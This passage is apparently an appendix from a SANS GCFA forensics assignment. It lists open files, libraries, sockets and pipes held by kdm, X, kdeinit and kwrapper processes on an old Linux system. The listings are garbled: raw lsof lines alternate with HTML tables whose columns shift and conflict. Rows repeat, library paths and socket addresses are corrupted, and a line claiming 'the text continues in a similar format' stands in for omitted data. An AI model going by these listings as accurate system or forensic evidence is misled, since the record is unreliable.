kdm 1056 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdm 1056 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdm 1056 root 0r CHR 1,3 9637 /dev/null
kdm 1056 root 1w CHR 1,3 9637 /dev/null
kdm 1056 root 2w CHR 1,3 9637 /dev/null
kdm 1056 root 3u REG 3,6 5 38179 /var/run/kdm.pid
kdm 1056 root 6u FIFO 3,6 32135 /var/run/xdmctl/xdmctl
kdm 1056 root 7r FIFO 0,5 1792 pipe
kdm 1056 root 8w FIFO 0,5 1792 pipe
X 1066 root cwd DIR 3,5 1024 2 /
X 1066 root rtd DIR 3,5 1024 2 /
X 1066 root txt REG 3,2 1602576 115035 /usr/X11R6/bin/XFree86
X 1066 root mem CHR 1,1 8215 /dev/mem
X 1066 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
X 1066 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
X 1066 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
X 1066 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
X 1066 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
X 1066 root mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75
X 1066 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
X 1066 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
X 1066 root 0w REG 3,6 29736 12068 /var/log/XFree86.0.log
X 1066 root 1u IPv4 1788 TCP *:x11 (LISTEN)
X 1066 root 2w CHR 1,3 9637 /dev/null
X 1066 root 3u unix 0xc7817580 1789 /tmp/.X11-unix/X0
X 1066 root 4u CHR 4,7 8236 /dev/swap
X 1066 root 5u CHR 10,134 8172 /sys/devices/pci0000:00/0000:00:00.0
X 1066 root 6w REG 0,2 66 4135 /proc/mtrr
X 1066 root 7u CHR 10,1 9755 /dev/psaux
X 1066 root 8u unix 0xc23efa0 1800 socket
X 1066 root 9u unix 0xc2f90e0 1803 /tmp/.X11-unix/X0
X 1066 root 10u unix 0xc2d3e5e0 2481 /tmp/.X11-unix/X0
X 1066 root 11u unix 0xc2d420c0 2204 /tmp/.X11-unix/X0
X 1066 root 12u unix 0xc2f62080 2209 /tmp/.X11-unix/X0
X 1066 root 13u unix 0xc2c57a60 2253 /tmp/.X11-unix/X0
X 1066 root 14u unix 0xc2b99040 2276 /tmp/.X11-unix/X0
X 1066 root 15u unix 0xc5fbfa40 337047 /tmp/.X11-unix/X0
X 1066 root 16u unix 0xc1a58720 280009 /tmp/.X11-unix/X0
X 1066 root 17u unix 0xc1c3f95e0 2439 /tmp/.X11-unix/X0
X 1066 root 18u unix 0xc1c3f90e0 2439 /tmp/.X11-unix/X0
X 1066 root 19u unix 0xc1c13ae0 2340 /tmp/.X11-unix/X0
X 1066 root 20u unix 0xc151ca80 2357 /tmp/.X11-unix/X0
X 1066 root 21u unix 0xc151bf50a 2397 /tmp/.X11-unix/X0
X 1066 root 22u unix 0xc1af3750c 2404 /tmp/.X11-unix/X0
X 1066 root 23u unix 0xc1baa0a60 2431 /tmp/.X11-unix/X0
X 1066 root 24u unix 0xc1aff5f60 714318 /tmp/.X11-unix/X0
X 1066 root 25u unix 0xc0ab1060 715226 /tmp/.X11-unix/X0
X 1066 root 26u unix 0xc73da580 280026 /tmp/.X11-unix/X0
kdm 1067 root cwd DIR 3,5 1024 2 /
kdm 1067 root rtd DIR 3,5 1024 2 /
kdm 1067 root txt REG 3,2 83400 33562 /usr/bin/kdm
kdm 1067 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdm 1067 root mem REG 3,2 874476 1698 /usr/X11R6/lib/libX11.so.6.2
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>Attributes</th>
<th>Size</th>
<th>Offset</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>45415</td>
<td>63523</td>
<td>/lib/nss_files-2.2.5.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>12471</td>
<td>43053</td>
<td>/lib/security/pam_stack.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>6387</td>
<td>43046</td>
<td>/lib/security/pam_nologin.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>35340</td>
<td>63567</td>
<td>/lib/libpam.so.0.75</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>50887</td>
<td>43031</td>
<td>/lib/security/pam_console.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>182363</td>
<td>65275</td>
<td>/usr/lib/libglib-1.2.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>4910</td>
<td>43033</td>
<td>/lib/security/pam_deny.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>12899</td>
<td>43034</td>
<td>/lib/security/pam_env.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>50425</td>
<td>43032</td>
<td>/lib/security/pam_cracklib.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2</td>
<td>71016</td>
<td>65265</td>
<td>/usr/lib/libcrack.so.2.7</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>23755</td>
<td>63501</td>
<td>/lib/libcrypt.so.2.2.5.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>14617</td>
<td>63531</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>kdm</td>
<td>root</td>
<td>mem</td>
<td>REG 3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
</tbody>
</table>

The text continues in a similar format, listing various processes, users, modes, attributes, sizes, and offsets for different files.
<table>
<thead>
<tr>
<th>Process</th>
<th>User ID</th>
<th>Mode</th>
<th>Flags</th>
<th>Size (bytes)</th>
<th>Path</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1962973</td>
<td>/usr/lib/libdcore-</td>
<td></td>
</tr>
<tr>
<td>gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td>65672 /usr/lib/libpq.so.2.1.0.12</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 7644546</td>
<td>/lib/i686/libc</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 59778</td>
<td>65358 /usr/lib/libso.1.1.3</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 874476</td>
<td>16985 /usr/X11R6/lib/libX11.so.6.2</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 31520</td>
<td>16983 /usr/X11R6/lib/libSM.so.6.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 81980</td>
<td>16979 /usr/X11R6/lib/libICE.so.6.3</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 101902</td>
<td>73734 /lib/ld64/libthread.so.0.9.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 12102</td>
<td>63503 /lib/libdl.so.6.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 52300</td>
<td>65993 /usr/X11R6/lib/libXext.so.6.4</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 68925</td>
<td>63540 /lib/libresolv.so.2.2.5</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 426442</td>
<td>65304 /usr/lib/libstdc++.so.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 11174</td>
<td>65341 /lib/libutil.so.6.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 173359</td>
<td>73732 /lib/libutil.so.6.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 110194</td>
<td>65399 /usr/lib/libcrypto.so.1.0.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 290306</td>
<td>65392 /usr/lib/libpng.so.2.1.0.12</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 140418</td>
<td>65389 /usr/lib/libjpeg.so.6.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 90976</td>
<td>16997 /usr/lib/libtiff.so.6.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 100992</td>
<td>65382 /usr/lib/libfreetype.so.6.3.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 207008</td>
<td>65363 /usr/lib/libdl.so.6.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 924879</td>
<td>65362 /usr/lib/libcrypto.so.1.0.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 252887</td>
<td>65382 /usr/lib/libfreetype.so.6.3.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 140102</td>
<td>65382 /usr/lib/libfreetype.so.6.3.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,3 8637</td>
<td>65382 /usr/lib/libfreetype.so.6.3.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>1w</td>
<td>REG</td>
<td>3,3 1453</td>
<td>32328 /home/userid1/xsession</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>2w</td>
<td>REG</td>
<td>3,3 1453</td>
<td>32328 /home/userid1/xsession</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>3r</td>
<td>FIFO</td>
<td>0,5 2150</td>
<td>pipe</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>6u</td>
<td>unix</td>
<td>0xc3d780e0</td>
<td>2151 /tmp/ksocket-userid1/kdeinit-socket</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>7u</td>
<td>unix</td>
<td>0xc3d78a0</td>
<td>2168 socke</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>8u</td>
<td>unix</td>
<td>0xc2f62580</td>
<td>2208 socket</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>cwd</td>
<td>DIR</td>
<td>3,3 4096</td>
<td>32321 /home/userid1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5 1024</td>
<td>2 /</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>txt</td>
<td>REG</td>
<td>3,2 3360</td>
<td>33539 /usr/bin/kdeinit</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,5 89547</td>
<td>63490 /lib/libX11.so.6.2</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 371</td>
<td>130311</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 20666</td>
<td>114263 /usr/lib/gconv/gconv-modules.cache</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 29</td>
<td>130312</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 65</td>
<td>130316</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 32</td>
<td>130310</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 83</td>
<td>130314</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 38</td>
<td>130314</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 40</td>
<td>130314</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 58</td>
<td>179360</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 2457</td>
<td>130317</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 60</td>
<td>130322</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 262818</td>
<td>65640 /usr/lib/libdcore-gcc2.96.so.4.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 294341</td>
<td>65748 /usr/lib/liblapack-gcc2.96.so.2</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 128738</td>
<td>65724 /usr/lib/libblas-gcc2.96.so.4.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 2530952</td>
<td>65712 /usr/lib/libgfortran-gcc2.96.so.4.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 168176</td>
<td>65682 /usr/lib/liblapack-gcc2.96.so.4.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 17328</td>
<td>17011 /usr/X11R6/lib/libxrender.so.1.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 133032</td>
<td>65706 /usr/lib/libtk-gcc2.96.so.4.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1962973</td>
<td>65672 /usr/lib/libstdc++.so.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 7644546</td>
<td>440246 /usr/lib/qt-3.0.3/lib/libqt-</td>
<td></td>
</tr>
<tr>
<td>gcc2.96.so.4.0.0</td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/libstdc++.so.1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>1175</td>
<td>mem</td>
<td>REG</td>
<td>3,2 113560</td>
<td>65396 /usr/lib/libpng.so.2.1.0.12</td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Type</td>
<td>Flags</td>
<td>Size (bytes)</td>
<td>Path</td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>--------</td>
<td>------</td>
<td>-------</td>
<td>--------------</td>
<td>-------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 59778</td>
<td>/usr/lib/libbz.so.1.1.3</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 874476</td>
<td>/usr/X11R6/lib/libX11.so.6.2</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 31520</td>
<td>/usr/X11R6/lib/libSM.so.6.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 81980</td>
<td>/usr/X11R6/lib/libICE.so.6.3</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 101901</td>
<td>/lib/i686/libpthread-0.9.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 12102</td>
<td>/lib/libdl-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 52300</td>
<td>/usr/X11R6/lib/libXext.so.6.4</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 68925</td>
<td>/lib/resolv-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 426442</td>
<td>/usr/lib/libstdc++-c3-1 libc6.2-2.10.0.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 11174</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 173359</td>
<td>/lib/i686/libm-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 110194</td>
<td>/usr/lib/libgpr.so.2</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 290306</td>
<td>/lib/libpng.so.1.0.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 140418</td>
<td>/lib/libjpeg.so.62.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 90976</td>
<td>/usr/X11R6/lib/libXt.so.1.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 295833</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 207008</td>
<td>/lib/libssl.so.0.9.6b</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 103443</td>
<td>/usr/lib/libcupspolicy-0.2.10.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 22592</td>
<td>130323</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1401027</td>
<td>/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 103443</td>
<td>/usr/lib/dcopserver-dcoppolicy-0.2.10.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 426442</td>
<td>/usr/lib/libstdc++-c3-1 libc6.2-2.10.0.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 11174</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 173359</td>
<td>/lib/i686/libm-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 110194</td>
<td>/usr/lib/libgpr.so.2</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 290306</td>
<td>/lib/libpng.so.1.0.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 140418</td>
<td>/lib/libjpeg.so.62.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 90976</td>
<td>/usr/X11R6/lib/libXt.so.1.1</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 295833</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 207008</td>
<td>/lib/libssl.so.0.9.6b</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5 924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 103443</td>
<td>/usr/lib/libcupspolicy-0.2.10.so</td>
<td></td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 22592</td>
<td>130323</td>
<td></td>
</tr>
</tbody>
</table>

Kevin Miller: Sans GCFA Assignment – v1.4
Page 115
<table>
<thead>
<tr>
<th>Userid</th>
<th>Mem Type</th>
<th>Flags</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>282587</td>
<td>/usr/lib/libmcmop_mt</td>
</tr>
<tr>
<td>userid2</td>
<td>REG</td>
<td>3,2</td>
<td>1048932</td>
<td>/usr/lib/libmultiflow</td>
</tr>
<tr>
<td>userid3</td>
<td>REG</td>
<td>3,2</td>
<td>563716</td>
<td>/usr/lib/libmcmop_mt</td>
</tr>
<tr>
<td>userid4</td>
<td>REG</td>
<td>3,2</td>
<td>160333</td>
<td>/usr/lib/libaudiofile.so.0.0.0.2</td>
</tr>
<tr>
<td>userid5</td>
<td>REG</td>
<td>3,2</td>
<td>23595</td>
<td>/usr/lib/libmcmop_mt</td>
</tr>
<tr>
<td>userid6</td>
<td>REG</td>
<td>3,2</td>
<td>1007546</td>
<td>/usr/lib/libmcmop-gcc2.96.so.1.0.0</td>
</tr>
<tr>
<td>userid7</td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
<td>/usr/lib/libmcmop-gcc2.96.so.1.0.0</td>
</tr>
<tr>
<td>userid8</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
<td>/usr/lib/libmcmop-gcc2.96.so.1.0.0</td>
</tr>
<tr>
<td>userid9</td>
<td>REG</td>
<td>3,5</td>
<td>101902</td>
<td>/usr/lib/libmcmop-gcc2.96.so.1.0.0</td>
</tr>
<tr>
<td>userid10</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
<td>/usr/lib/libmcmop-gcc2.96.so.1.0.0</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4
Kevin Miller - Sans GCFA Assignment – v1.4

Page 119

kdeinit 1203 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1203 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1203 userid1 mem REG 3,2 381888 65598 /usr/lib/libsoundserver_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 3282587 65574 /usr/lib/libkmedia2_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 1048932 65545 /usr/lib/libartsflow-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 563716 65551 /usr/lib/libartsflow_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 160333 65533 /usr/lib/libaudiofile.so.0.0.2
kdeinit 1203 userid1 mem REG 3,2 1007546 65580 /usr/lib/libmcop-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 282587 65574 /usr/lib/libsoundserver_idl-gcc2.96.so.1.0.0
kdeinit 1203 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
kdeinit 1203 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
kdeinit 1203 userid1 mem REG 3,2 83 130311 /usr/lib/locale/en_US.iso885915/LC_NAME
kdeinit 1203 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 1203 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
kdeinit 1203 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1203 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1203 userid1 mem REG 3,2 10902 16965 /usr/lib/gconv/gconv-modules.cache
kdeinit 1203 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdeinit 1203 userid1 mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdeinit 1203 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdeinit 1203 userid1 mem REG 3,5 1024 2 /usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 1203 userid1 mem REG 3,2 4096 32321 /home/userid1
kwrapperr 1208 userid1 ced DIR 3,3 4096 32321 /home/userid1
kwrapperr 1208 userid1 txt REG 3,5 98880 33376 /usr/bin/kwrapperr
kwrapperr 1208 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kwrapperr 1208 userid1 mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kwrapperr 1208 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kwrapperr 1208 userid1 0r CHR 1,3 9637 /dev/null
kwrapperr 1208 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapperr 1208 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kwrapperr 1208 userid1 3u unix 0xc2c57060 2266 socket
kwrapperr 1208 userid1 4u unix 0xc2c57560 2252 socket
kwrapperr 1208 userid1 5r FIFO 0,5 2259 pipe
kwrapperr 1208 userid1 6w FIFO 0,5 2259 pipe
kwrapperr 1208 userid1 7r FIFO 0,5 2260 pipe
